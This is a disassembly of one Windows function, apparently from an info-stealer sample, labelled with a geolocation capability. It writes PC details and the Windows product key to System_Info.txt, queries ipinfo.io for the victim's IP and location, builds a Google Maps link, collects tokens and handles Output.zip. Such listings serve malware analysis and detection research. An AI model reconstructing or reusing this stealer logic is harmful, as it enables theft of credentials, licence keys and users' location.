Function at 0x140009ce0
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x420]
sub rsp, 0x520
mov rax, qword [0x1401ea8a0]
xor rax, rsp
mov qword [rbp + 0x410], rax
xor edi, edi
mov dword [rbp - 0x18], edi
lea rcx, [rbp - 0x80]
call fcn.140015fc0
nop
lea r8, str.System_Info.txt
mov rdx, rax
lea rcx, [rbp + 0x198]
call fcn.140014d40
nop
lea rcx, [rbp - 0x80]
call fcn.14000e910
lea rcx, [rbp + 0x198]
call fcn.14000e640
mov rbx, rax
lea rcx, [rbp + 0x1c0]
call fcn.14000ab70
mov rdx, rbx
lea rcx, [rbp + 0x1c0]
call fcn.14000c2f0
nop
lea rcx, [rbp + 0x138]
call fcn.14000eab0
nop
lea rcx, [rbp + 0x118]
call fcn.14000eab0
nop
lea r8, [rbp + 0x118]
lea rdx, [rbp + 0x138]
call fcn.140009b30
lea rcx, [rbp + 0x100]
call fcn.1400051a0
lea rcx, [rbp + 0x100]
call fcn.14000ae50
nop
lea rdx, [rbp + 0x100]
lea rcx, [rsp + 0x38]
call fcn.140007e90
lea rdx, str.PC:
lea rcx, [rbp + 0x1c0]
call fcn.140016080
mov rcx, rax
lea rdx, [0x1401f4e40]
call fcn.140016270
mov rcx, rax
lea rdx, [0x1401b4558]
call fcn.140016080
lea rdx, str.Windows_Key:
lea rcx, [rbp + 0x1c0]
call fcn.140016080
mov rcx, rax
lea rdx, [rbp + 0x138]
call fcn.140016270
mov rcx, rax
mov dl, 0xa
call fcn.1400157d0
lea rdx, str.Product:
lea rcx, [rbp + 0x1c0]
call fcn.140016080
mov rcx, rax
lea rdx, [rbp + 0x118]
call fcn.140016270
mov rcx, rax
mov dl, 0xa
call fcn.1400157d0
lea rdx, str.Ram:
lea rcx, [rbp + 0x1c0]
call fcn.140016080
movsd xmm1, qword [rsp + 0x38]
mov rcx, rax
call fcn.14000c580
mov rcx, rax
lea rdx, [0x1401b4558]
call fcn.140016080
lea rcx, [rbp + 0x100]
call fcn.14000c230
test rax, rax
je 0x140009eff
mov ebx, edi
nop dword [rax]
lea rdx, str.Disk
lea rcx, [rbp + 0x1c0]
call fcn.140016080
mov edx, edi
mov rcx, rax
call fcn.14000c7f0
mov rcx, rax
lea rdx, [0x1401b4590]
call fcn.140016080
mov r8, rax
mov rdx, rbx
lea rcx, [rbp + 0x100]
call fcn.14000c220
movsd xmm1, qword [rax]
mov rcx, r8
call fcn.14000c580
mov rcx, rax
lea rdx, [0x1401b458c]
call fcn.140016080
inc edi
movsxd rbx, edi
lea rcx, [rbp + 0x100]
call fcn.14000c230
cmp rbx, rax
jb 0x140009e90
lea rdx, [0x1401b4558]
lea rcx, [rbp + 0x1c0]
call fcn.140016080
lea rcx, [rbp + 0x2d0]
call fcn.14000aaf0
lea rdx, str.https:__ipinfo.io_json
lea rcx, [rbp + 0x20]
call fcn.140005510
nop
lea r8, [rbp + 0x40]
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x10]
call fcn.140003e10
movups xmm0, xmmword [rax]
movaps xmmword [rbp - 0x80], xmm0
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x40]
call fcn.1400053f0
nop
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.1400162c0
nop
lea rcx, [rbp - 0x40]
call fcn.140005460
nop
lea r9, [fcn.14000e910]
mov esi, 1
mov r8d, esi
lea edx, [rsi + 0x1f]
lea rcx, [rbp + 0x20]
call fcn.1400b5870
lea rcx, [rbp - 0x80]
call fcn.14000c1e0
mov r8, rax
lea rdx, [rbp + 0x2e8]
lea rcx, [rbp + 0x10]
call fcn.140016350
nop
lea rdx, [0x1401b45b8]
lea rcx, [rbp + 0x10]
call fcn.140015ed0
lea rdx, [rbp + 0xe0]
mov rcx, rax
call fcn.140015f00
nop
lea rdx, str.city
lea rcx, [rbp + 0x10]
call fcn.140015ed0
lea rdx, [rbp + 0xc0]
mov rcx, rax
call fcn.140015f00
nop
lea rdx, str.country
lea rcx, [rbp + 0x10]
call fcn.140015ed0
lea rdx, [rbp + 0xa0]
mov rcx, rax
call fcn.140015f00
nop
lea rdx, str.region
lea rcx, [rbp + 0x10]
call fcn.140015ed0
lea rdx, [rbp + 0x80]
mov rcx, rax
call fcn.140015f00
nop
lea rdx, [0x1401b45d8]
lea rcx, [rbp + 0x10]
call fcn.140015ed0
lea rdx, [rbp + 0x60]
mov rcx, rax
call fcn.140015f00
nop
lea rdx, [0x1401b45dc]
lea rcx, [rbp + 0x10]
call fcn.140015ed0
lea rdx, [rbp + 0x40]
mov rcx, rax
call fcn.140015f00
nop
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0xe0]
call fcn.14000e670
mov rdi, qword [rax]
mov byte [rsp + 0x30], 0x22
lea rdx, [rbp]
lea rcx, [rbp + 0xe0]
call fcn.14000e670
mov rbx, qword [rax]
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xe0]
call fcn.14000e6d0
lea r9, [rsp + 0x30]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp - 0x10]
call fcn.140015f20
mov r9, rdi
mov r8, qword [rax]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0xe0]
call fcn.14000e720
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0xc0]
call fcn.14000e670
mov rdi, qword [rax]
mov byte [rsp + 0x30], 0x22
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0xc0]
call fcn.14000e670
mov rbx, qword [rax]
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xc0]
call fcn.14000e6d0
lea r9, [rsp + 0x30]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp]
call fcn.140015f20
mov r9, rdi
mov r8, qword [rax]
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0xc0]
call fcn.14000e720
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0xa0]
call fcn.14000e670
mov rdi, qword [rax]
mov byte [rsp + 0x30], 0x22
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0xa0]
call fcn.14000e670
mov rbx, qword [rax]
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xa0]
call fcn.14000e6d0
lea r9, [rsp + 0x30]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp]
call fcn.140015f20
mov r9, rdi
mov r8, qword [rax]
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0xa0]
call fcn.14000e720
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x80]
call fcn.14000e670
mov rdi, qword [rax]
mov byte [rsp + 0x30], 0x22
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x80]
call fcn.14000e670
mov rbx, qword [rax]
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x80]
call fcn.14000e6d0
lea r9, [rsp + 0x30]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp]
call fcn.140015f20
mov r9, rdi
mov r8, qword [rax]
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x80]
call fcn.14000e720
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x60]
call fcn.14000e670
mov rdi, qword [rax]
mov byte [rsp + 0x30], 0x22
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x60]
call fcn.14000e670
mov rbx, qword [rax]
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x60]
call fcn.14000e6d0
lea r9, [rsp + 0x30]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp]
call fcn.140015f20
mov r9, rdi
mov r8, qword [rax]
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x60]
call fcn.14000e720
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x40]
call fcn.14000e670
mov rdi, qword [rax]
mov byte [rsp + 0x30], 0x22
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x40]
call fcn.14000e670
mov rbx, qword [rax]
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x40]
call fcn.14000e6d0
lea r9, [rsp + 0x30]
mov r8, rbx
mov rdx, qword [rax]
lea rcx, [rbp]
call fcn.140015f20
mov r9, rdi
mov r8, qword [rax]
lea rdx, [rsp + 0x38]
lea rcx, [rbp + 0x40]
call fcn.14000e720
lea rdx, [0x1401b38a3]
lea rcx, [rbp + 0xe0]
call fcn.140015220
test al, al
je 0x14000a2d8
lea rdx, [0x1401b4540]
lea rcx, [rsp + 0x40]
call fcn.140005510
nop
jmp 0x14000a2ee
lea rdx, [rbp + 0xe0]
lea rcx, [rsp + 0x60]
call fcn.14000eae0
mov esi, 2
mov dword [rbp - 0x18], esi
mov rdx, rax
lea rcx, [rbp + 0xe0]
call fcn.14000e980
test sil, 2
je 0x14000a317
and esi, 0xfffffffd
mov dword [rbp - 0x18], esi
lea rcx, [rsp + 0x60]
call fcn.14000e910
nop
test sil, 1
je 0x14000a32d
and esi, 0xfffffffe
mov dword [rbp - 0x18], esi
lea rcx, [rsp + 0x40]
call fcn.14000e910
lea rdx, [0x1401b38a3]
lea rcx, [rbp + 0xc0]
call fcn.140015220
test al, al
je 0x14000a35b
lea rdx, [0x1401b4540]
lea rcx, [rsp + 0x60]
call fcn.140005510
nop
or esi, 4
jmp 0x14000a36f
lea rdx, [rbp + 0xc0]
lea rcx, [rsp + 0x40]
call fcn.14000eae0
or esi, 8
mov dword [rbp - 0x18], esi
mov rdx, rax
lea rcx, [rbp + 0xc0]
call fcn.14000e980
test sil, 8
je 0x14000a398
and esi, 0xfffffff7
mov dword [rbp - 0x18], esi
lea rcx, [rsp + 0x40]
call fcn.14000e910
nop
test sil, 4
je 0x14000a3ae
and esi, 0xfffffffb
mov dword [rbp - 0x18], esi
lea rcx, [rsp + 0x60]
call fcn.14000e910
lea rdx, [0x1401b38a3]
lea rcx, [rbp + 0xa0]
call fcn.140015220
test al, al
je 0x14000a3dc
lea rdx, [0x1401b4540]
lea rcx, [rsp + 0x60]
call fcn.140005510
nop
or esi, 0x10
jmp 0x14000a3f0
lea rdx, [rbp + 0xa0]
lea rcx, [rsp + 0x40]
call fcn.14000eae0
or esi, 0x20
mov dword [rbp - 0x18], esi
mov rdx, rax
lea rcx, [rbp + 0xa0]
call fcn.14000e980
test sil, 0x20
je 0x14000a419
and esi, 0xffffffdf
mov dword [rbp - 0x18], esi
lea rcx, [rsp + 0x40]
call fcn.14000e910
nop
test sil, 0x10
je 0x14000a42f
and esi, 0xffffffef
mov dword [rbp - 0x18], esi
lea rcx, [rsp + 0x60]
call fcn.14000e910
lea rdx, [0x1401b38a3]
lea rcx, [rbp + 0x80]
call fcn.140015220
test al, al
je 0x14000a45d
lea rdx, [0x1401b4540]
lea rcx, [rsp + 0x60]
call fcn.140005510
nop
or esi, 0x40
jmp 0x14000a472
lea rdx, [rbp + 0x80]
lea rcx, [rsp + 0x40]
call fcn.14000eae0
bts esi, 7
mov dword [rbp - 0x18], esi
mov rdx, rax
lea rcx, [rbp + 0x80]
call fcn.14000e980
test sil, sil
jns 0x14000a49b
btr esi, 7
mov dword [rbp - 0x18], esi
lea rcx, [rsp + 0x40]
call fcn.14000e910
nop
test sil, 0x40
je 0x14000a4b1
and esi, 0xffffffbf
mov dword [rbp - 0x18], esi
lea rcx, [rsp + 0x60]
call fcn.14000e910
lea rdx, [0x1401b38a3]
lea rcx, [rbp + 0x60]
call fcn.140015220
test al, al
je 0x14000a4dd
lea rdx, [0x1401b4540]
lea rcx, [rsp + 0x60]
call fcn.140005510
nop
bts esi, 8
jmp 0x14000a4ef
lea rdx, [rbp + 0x60]
lea rcx, [rsp + 0x40]
call fcn.14000eae0
bts esi, 9
mov dword [rbp - 0x18], esi
mov rdx, rax
lea rcx, [rbp + 0x60]
call fcn.14000e980
bt esi, 9
jae 0x14000a516
btr esi, 9
mov dword [rbp - 0x18], esi
lea rcx, [rsp + 0x40]
call fcn.14000e910
nop
bt esi, 8
jae 0x14000a52d
btr esi, 8
mov dword [rbp - 0x18], esi
lea rcx, [rsp + 0x60]
call fcn.14000e910
lea rdx, [0x1401b38a3]
lea rcx, [rbp + 0x40]
call fcn.140015220
test al, al
je 0x14000a559
lea rdx, [0x1401b4540]
lea rcx, [rsp + 0x60]
call fcn.140005510
nop
bts esi, 0xa
jmp 0x14000a56b
lea rdx, [rbp + 0x40]
lea rcx, [rsp + 0x40]
call fcn.14000eae0
bts esi, 0xb
mov rdx, rax
lea rcx, [rbp + 0x40]
call fcn.14000e980
bt esi, 0xb
jae 0x14000a58c
btr esi, 0xb
lea rcx, [rsp + 0x40]
call fcn.14000e910
nop
bt esi, 0xa
jae 0x14000a59c
lea rcx, [rsp + 0x60]
call fcn.14000e910
lea r8, [rbp + 0x40]
lea rdx, str.https:__www.google.com_maps_search_googlemap
lea rcx, [rbp + 0x178]
call fcn.1400152a0
nop
lea rdx, str.ip:
lea rcx, [rbp + 0x1c0]
call fcn.140016080
mov rcx, rax
lea rdx, [rbp + 0xe0]
call fcn.140016270
mov rcx, rax
mov dl, 0xa
call fcn.1400157d0
lea rdx, str.city:
lea rcx, [rbp + 0x1c0]
call fcn.140016080
mov rcx, rax
lea rdx, [rbp + 0xc0]
call fcn.140016270
mov rcx, rax
mov dl, 0xa
call fcn.1400157d0
lea rdx, str.country:
lea rcx, [rbp + 0x1c0]
call fcn.140016080
mov rcx, rax
lea rdx, [rbp + 0xa0]
call fcn.140016270
mov rcx, rax
mov dl, 0xa
call fcn.1400157d0
lea rdx, str.region:
lea rcx, [rbp + 0x1c0]
call fcn.140016080
mov rcx, rax
lea rdx, [rbp + 0x80]
call fcn.140016270
mov rcx, rax
mov dl, 0xa
call fcn.1400157d0
lea rdx, str.org:
lea rcx, [rbp + 0x1c0]
call fcn.140016080
mov rcx, rax
lea rdx, [rbp + 0x60]
call fcn.140016270
mov rcx, rax
mov dl, 0xa
call fcn.1400157d0
lea rdx, str.loc:
lea rcx, [rbp + 0x1c0]
call fcn.140016080
mov rcx, rax
lea rdx, [rbp + 0x40]
call fcn.140016270
mov rcx, rax
mov dl, 0xa
call fcn.1400157d0
lea rdx, str.googleMap:
lea rcx, [rbp + 0x1c0]
call fcn.140016080
mov rcx, rax
lea rdx, [rbp + 0x178]
call fcn.140016270
mov rcx, rax
lea rdx, [0x1401b4500]
call fcn.140016080
call fcn.1400094a0
lea rdx, str.Tokens:
lea rcx, [rbp + 0x1c0]
call fcn.140016080
call fcn.14000ae90
lea rcx, [rbp + 0x1c0]
test rax, rax
jne 0x14000a721
lea rdx, str.No_tokens_found_n
call fcn.140016080
jmp 0x14000a7a9
lea rdx, [0x1401b4558]
call fcn.140016080
lea rcx, [rbp - 0x18]
call fcn.14000ab80
lea rdx, [rbp - 0x18]
call fcn.14000aee0
lea rdx, [rsp + 0x38]
call fcn.14000aeb0
mov rdx, rax
lea rcx, [rbp - 0x18]
call fcn.14000adc0
test al, al
jne 0x14000a7a9
nop dword [rax]
lea rcx, [rbp - 0x18]
call fcn.14000ae00
mov rdx, rax
lea rcx, [rbp + 0x1c0]
call fcn.140016270
mov rcx, rax
mov dl, 0xa
call fcn.1400157d0
lea rdx, [rbp - 0x80]
lea rcx, [rbp - 0x18]
call fcn.14000add0
lea rdx, [rsp + 0x38]
call fcn.14000aeb0
mov rdx, rax
lea rcx, [rbp - 0x18]
call fcn.14000adc0
test al, al
je 0x14000a760
lea rcx, [rbp + 0x1c0]
call fcn.14000c250
lea r8, [0x1401b4688]
lea rdx, [0x1401f4e60]
lea rcx, [rbp + 0x158]
call fcn.140014cb0
nop
lea rcx, [rbp + 0x158]
call fcn.14000e640
xor edx, edx
mov rcx, rax
call fcn.140034cb0
mov rsi, rax
lea rdx, [0x1401f4e60]
lea rcx, [rbp - 0x80]
call fcn.140015280
nop
lea rdx, [rbp - 0x80]
lea rcx, [rbp]
call fcn.140004a70
nop
lea rcx, [rbp - 0x80]
call fcn.140003e90
lea rcx, [rbp - 0x10]
call fcn.1400035b0
lea rdx, [rbp]
lea rcx, [rbp - 0x80]
call fcn.14000ab20
mov rdx, rax
lea rcx, [rbp - 0x10]
call fcn.140004b40
nop
lea rcx, [rbp + 0x20]
call fcn.1400035b0
lea rdx, [rbp]
lea rcx, [rbp - 0x80]
call fcn.14000ab20
mov rdx, rax
lea rcx, [rbp + 0x20]
call fcn.140004ba0
nop
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x10]
call fcn.140004b00
test al, al
jne 0x14000a90c
nop dword [rax]
lea rcx, [rbp - 0x10]
call fcn.140004ac0
mov rcx, rax
call fcn.140004640
mov rdi, rax
lea rdx, [rsp + 0x60]
mov rcx, rax
call fcn.140003d50
nop
lea rdx, [rsp + 0x40]
mov rcx, rax
call fcn.140003d10
lea rdx, str.Output.zip
mov rcx, rax
call fcn.140015220
movzx ebx, al
lea rcx, [rsp + 0x40]
call fcn.14000e910
nop
lea rcx, [rsp + 0x60]
call fcn.140003e90
test bl, bl
jne 0x14000a8ee
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.140003d10
nop
mov rdx, rsi
mov rcx, rax
call fcn.1400ef9a0
nop
lea rcx, [rsp + 0x40]
call fcn.14000e910
lea rcx, [rbp - 0x10]
call fcn.140004ad0
lea rdx, [rbp + 0x20]
lea rcx, [rbp - 0x10]
call fcn.140004b00
test al, al
je 0x14000a870
lea rcx, [rbp + 0x20]
call fcn.140004b70
nop
lea rcx, [rbp - 0x10]
call fcn.140004b70
nop
lea rcx, [rbp]
call fcn.140004b70
xor edx, edx
mov rcx, rsi
call fcn.1400343a0
nop
lea rcx, [rbp + 0x158]
call fcn.14000e910
nop
lea rcx, [rbp + 0x178]
call fcn.14000e910
nop
lea rcx, [rbp + 0x40]
call fcn.14000e910
nop
lea rcx, [rbp + 0x60]
call fcn.14000e910
nop
lea rcx, [rbp + 0x80]
call fcn.14000e910
nop
lea rcx, [rbp + 0xa0]
call fcn.14000e910
nop
lea rcx, [rbp + 0xc0]
call fcn.14000e910
nop
lea rcx, [rbp + 0xe0]
call fcn.14000e910
nop
lea rcx, [rbp + 0x10]
call fcn.14000c210
nop
lea rcx, [rbp + 0x2d0]
call fcn.14000aa70
nop
lea rcx, [rbp + 0x100]
call fcn.14000c240
nop
lea rcx, [rbp + 0x118]
call fcn.14000e910
nop
lea rcx, [rbp + 0x138]
call fcn.14000e910
nop
lea rcx, [rbp + 0x1c0]
call fcn.14000ab40
nop
lea rcx, [rbp + 0x198]
call fcn.14000e910
mov rcx, qword [rbp + 0x410]
xor rcx, rsp
call fcn.1400b5540
lea r11, [rsp + 0x520]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret